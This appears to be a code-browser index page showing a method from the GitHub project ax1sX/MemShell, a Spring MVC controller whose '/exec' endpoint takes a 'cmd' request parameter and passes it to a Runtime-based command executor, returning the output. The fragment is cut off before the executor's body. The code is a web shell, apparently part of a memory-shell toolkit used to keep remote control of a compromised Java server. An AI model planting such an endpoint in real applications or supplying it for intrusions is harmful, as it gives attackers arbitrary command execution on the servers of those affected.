MCPcopy Create free account
hub / github.com/ax1sX/MemShell / index

Method index

SpringMVCMemShell/src/main/java/TestController.java:12–21  ·  view source on GitHub ↗
(HttpServletRequest request, HttpServletResponse response)

Source from the content-addressed store, hash-verified

10@Controller
11public class TestController {
12 @RequestMapping({"/exec"})
13 public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
14 String cmd = request.getParameter("cmd");
15
16 try {
17 String result = this.CommandExec(cmd);
18 response.getWriter().println(result);
19 } catch (Exception var7) {
20 }
21 }
22
23 public String CommandExec(String cmd) throws Exception {
24 Runtime rt = Runtime.getRuntime();

Callers

nothing calls this directly

Calls 1

CommandExecMethod · 0.95

Tested by

no test coverage detected